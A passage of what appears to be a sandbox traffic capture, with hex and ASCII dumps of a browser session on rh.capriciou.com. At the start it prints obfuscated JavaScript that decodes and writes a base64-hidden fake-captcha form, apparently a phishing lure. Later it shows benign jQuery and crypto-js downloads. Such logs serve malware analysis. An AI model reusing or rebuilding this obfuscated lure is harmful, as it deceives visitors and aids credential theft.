URhdGEoanBvREtTdFZXaCkNCiAgICB9KS50aGVuKHJlc3BvbnNlID0+IHsNCiAgICAgICAgcmV0dXJuIHJlc3BvbnNlLmpzb24oKTsNCiAgICB9KS50aGVuKGRhdGEgPT4gew0KICAgICAgICBpZihkYXRhWydzdGF0dXMnXSA9PSAnc3VjY2Vzcycpew0KICAgICAgICBsb2NhdGlvbi5yZWxvYWQoKTsNCiAgICAgICAgfQ0KICAgICAgICBp
2024-11-07 18:31:57 UTC	1369	IN	Data Raw: 68 28 27 2f 27 29 29 20 7b 0d 0a 43 56 79 42 61 44 77 4b 49 56 2e 70 61 74 68 6e 61 6d 65 20 3d 20 43 56 79 42 61 44 77 4b 49 56 2e 70 61 74 68 6e 61 6d 65 2e 73 6c 69 63 65 28 30 2c 20 2d 31 29 3b 0d 0a 7d 0d 0a 63 6f 6e 73 74 20 48 6a 71 57 59 6a 4b 78 79 72 20 3d 20 43 56 79 42 61 44 77 4b 49 56 2e 70 61 74 68 6e 61 6d 65 2b 27 2f 27 3b 0d 0a 69 66 28 48 6a 71 57 59 6a 4b 78 79 72 20 3d 3d 20 58 71 63 74 49 73 46 68 66 4e 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f 38 61 47 56 68 5a 44 34 4e 43 69 41 67 49 Data Ascii: h('/')) {CVyBaDwKIV.pathname = CVyBaDwKIV.pathname.slice(0, -1);}const HjqWYjKxyr = CVyBaDwKIV.pathname+'/';if(HjqWYjKxyr == XqctIsFhfN){document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgI
2024-11-07 18:31:57 UTC	1369	IN	Data Raw: 77 64 47 4e 6f 59 53 31 6a 62 32 35 30 59 57 6c 75 5a 58 4a 37 63 47 39 7a 61 58 52 70 62 32 34 36 49 48 4a 6c 62 47 46 30 61 58 5a 6c 4f 33 52 76 63 44 6f 67 4d 54 45 34 63 48 67 37 4c 79 70 33 61 57 52 30 61 44 6f 67 4d 54 41 77 4a 54 73 71 4c 33 42 68 5a 47 52 70 62 6d 63 74 63 6d 6c 6e 61 48 51 36 49 48 5a 68 63 69 67 74 4c 57 4a 7a 4c 57 64 31 64 48 52 6c 63 69 31 34 4c 43 41 75 4e 7a 56 79 5a 57 30 70 4f 33 42 68 5a 47 52 70 62 6d 63 74 62 47 56 6d 64 44 6f 67 64 6d 46 79 4b 43 30 74 59 6e 4d 74 5a 33 56 30 64 47 56 79 4c 58 67 73 49 43 34 33 4e 58 4a 6c 62 53 6b 37 62 57 46 79 5a 32 6c 75 4c 58 4a 70 5a 32 68 30 4f 69 42 68 64 58 52 76 4f 32 31 68 63 6d 64 70 62 69 31 73 5a 57 5a 30 4f 69 42 68 64 58 52 76 4f 33 30 4e 43 69 4e 47 54 30 64 68 51 32 Data Ascii: wdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTE4cHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7bWFyZ2luLXJpZ2h0OiBhdXRvO21hcmdpbi1sZWZ0OiBhdXRvO30NCiNGT0dhQ2
2024-11-07 18:31:57 UTC	1369	IN	Data Raw: 5a 57 68 68 64 6d 6c 76 63 6a 6f 67 59 32 39 75 64 47 46 70 62 6a 73 69 50 67 30 4b 50 47 52 70 64 69 42 70 5a 44 30 69 52 6b 39 48 59 55 4e 75 64 6e 42 49 54 53 49 67 59 32 78 68 63 33 4d 39 49 6d 4e 68 63 48 52 6a 61 47 45 74 59 32 39 75 64 47 46 70 62 6d 56 79 49 6a 34 4e 43 6a 78 6b 61 58 59 67 61 57 51 39 49 6c 4a 72 55 6b 74 53 52 33 4e 32 59 33 51 69 49 47 4e 73 59 58 4e 7a 50 53 4a 71 64 58 4e 30 61 57 5a 35 4c 57 4e 76 62 6e 52 6c 62 6e 51 74 59 32 56 75 64 47 56 79 49 6a 34 4e 43 6a 78 6b 61 58 59 67 59 32 78 68 63 33 4d 39 49 6e 52 6c 65 48 51 74 59 32 56 75 64 47 56 79 49 6a 34 4e 43 6a 78 6d 62 33 4a 74 49 47 6c 6b 50 53 4a 4d 62 30 74 35 54 58 68 47 57 55 64 48 49 6a 34 4e 43 6a 78 6b 61 58 59 67 59 32 78 68 63 33 4d 39 49 6d 4e 6d 58 33 52 Data Ascii: ZWhhdmlvcjogY29udGFpbjsiPg0KPGRpdiBpZD0iRk9HYUNudnBITSIgY2xhc3M9ImNhcHRjaGEtY29udGFpbmVyIj4NCjxkaXYgaWQ9IlJrUktSR3N2Y3QiIGNsYXNzPSJqdXN0aWZ5LWNvbnRlbnQtY2VudGVyIj4NCjxkaXYgY2xhc3M9InRleHQtY2VudGVyIj4NCjxmb3JtIGlkPSJMb0t5TXhGWUdHIj4NCjxkaXYgY2xhc3M9ImNmX3R
2024-11-07 18:31:57 UTC	1369	IN	Data Raw: 48 5a 68 63 69 42 71 63 47 39 45 53 31 4e 30 56 6c 64 6f 49 44 30 67 5a 47 39 6a 64 57 31 6c 62 6e 51 75 5a 32 56 30 52 57 78 6c 62 57 56 75 64 45 4a 35 53 57 51 6f 49 6b 78 76 53 33 6c 4e 65 45 5a 5a 52 30 63 69 4b 54 73 4e 43 69 41 67 49 43 42 71 63 47 39 45 53 31 4e 30 56 6c 64 6f 4c 6d 39 75 63 33 56 69 62 57 6c 30 49 44 30 67 5a 6e 56 75 59 33 52 70 62 32 34 67 4b 47 56 32 5a 57 35 30 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 56 32 5a 57 35 30 4c 6e 42 79 5a 58 5a 6c 62 6e 52 45 5a 57 5a 68 64 57 78 30 4b 43 6b 37 44 51 6f 67 49 43 41 67 66 54 73 4e 43 69 41 67 49 43 42 6b 62 32 4e 31 62 57 56 75 64 43 35 6e 5a 58 52 46 62 47 56 74 5a 57 35 30 51 6e 6c 4a 5a 43 67 69 63 47 46 6e 5a 57 78 70 62 6d 73 69 4b 53 35 32 59 57 78 31 5a 53 41 39 Data Ascii: HZhciBqcG9ES1N0VldoID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkxvS3lNeEZZR0ciKTsNCiAgICBqcG9ES1N0VldoLm9uc3VibWl0ID0gZnVuY3Rpb24gKGV2ZW50KSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgfTsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgicGFnZWxpbmsiKS52YWx1ZSA9

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:31:57 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-07 18:31:57 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=45164 Date: Thu, 07 Nov 2024 18:31:57 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-07 18:31:57 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:31:58 UTC	622	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://rh.capriciou.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 18:31:58 UTC	610	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2021180 Date: Thu, 07 Nov 2024 18:31:58 GMT X-Served-By: cache-lga21931-LGA, cache-dfw-ktki8620037-DFW X-Cache: HIT, HIT X-Cache-Hits: 2, 0 X-Timer: S1731004319.745056,VS0,VE1 Vary: Accept-Encoding
2024-11-07 18:31:58 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-11-07 18:31:58 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2024-11-07 18:31:58 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2024-11-07 18:31:58 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2024-11-07 18:31:58 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2024-11-07 18:31:58 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2024-11-07 18:31:58 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2024-11-07 18:31:58 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2024-11-07 18:31:58 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2024-11-07 18:31:58 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:31:58 UTC	650	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://rh.capriciou.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 18:31:58 UTC	956	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 18:31:58 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 974533 Expires: Tue, 28 Oct 2025 18:31:58 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RP2jQqgi0XcmhB9MhfHscdqArlJ7gQSSXo0uGoIM0AEvqVY0x1J3DmqHRee6AHeN6VIjdbVVnq7q60HRkTsSAotJjLf%2FMX08mvYPCVeoAB%2BoWkNX9boBN7vtiL5zkgyJ5HkE8E23"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8def674038edddaf-DFW alt-svc: h3=":443"; ma=86400
2024-11-07 18:31:58 UTC	413	IN	Data Raw: 37 39 37 33 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7973!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
